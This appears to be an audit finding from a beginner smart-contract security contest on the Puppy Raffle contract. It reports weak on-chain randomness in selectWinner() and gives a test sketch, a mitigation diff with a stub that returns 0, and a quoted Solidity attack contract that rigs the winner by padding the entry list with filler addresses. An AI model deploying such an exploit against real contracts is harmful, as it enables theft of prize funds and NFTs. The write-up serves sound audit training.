Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak PRNG in `selectWinner()` enables biased winner selection

0xsnoweth

Root + Impact

Description

  • selectWinner() is intended to fairly select a random winner from players after the raffle duration, pay out the prize pool, and mint an NFT.

  • The winner index uses keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)), which is predictable/biasable by the caller and block producer, allowing manipulation of the selected winner.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
​
// @> Weak entropy sources (caller + block fields)
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
}

Risk

Likelihood:

  • The caller repeatedly triggers selectWinner() from chosen addresses and at chosen block times on a public chain.

  • A block producer selects a timestamp/difficulty to favor a desired winnerIndex on blocks where selectWinner() is included.

Impact:

  • The raffle outcome is biased, enabling unfair prize and NFT distribution.

  • Users lose expected value and trust in the raffle's fairness.

Proof of Concept

PoC — A test can vary caller and block parameters to influence winnerIndex.

// Foundry-style sketch
function test_biasWinnerIndex() public {
// arrange players ...
vm.warp(block.timestamp + raffleDuration + 1);
​
// @> Vary caller to vary keccak seed
vm.prank(address(0xBEEF));
raffle.selectWinner();
​
// On a fork/local chain, also vary block number/params
vm.roll(block.number + 1);
vm.warp(block.timestamp + 1);
vm.prank(address(0xCAFE));
raffle.selectWinner();
​
// observe different winnerIndex / winner outcomes
}

Recommended Mitigation

Mitigation — Use a secure randomness source (VRF) or a commit-reveal scheme; remove reliance on block.timestamp/block.difficulty and caller address.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
​
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Example stub: winnerIndex should come from a verifiable randomness source
+ // (VRF callback or commit-reveal finalized value).
+ uint256 winnerIndex = _getSecureWinnerIndex(players.length);
address winner = players[winnerIndex];
...
}
​
+function _getSecureWinnerIndex(uint256 n) internal view returns (uint256) {
+ // TODO: integrate VRF or commit-reveal; placeholder to illustrate intent
+ return 0;
+}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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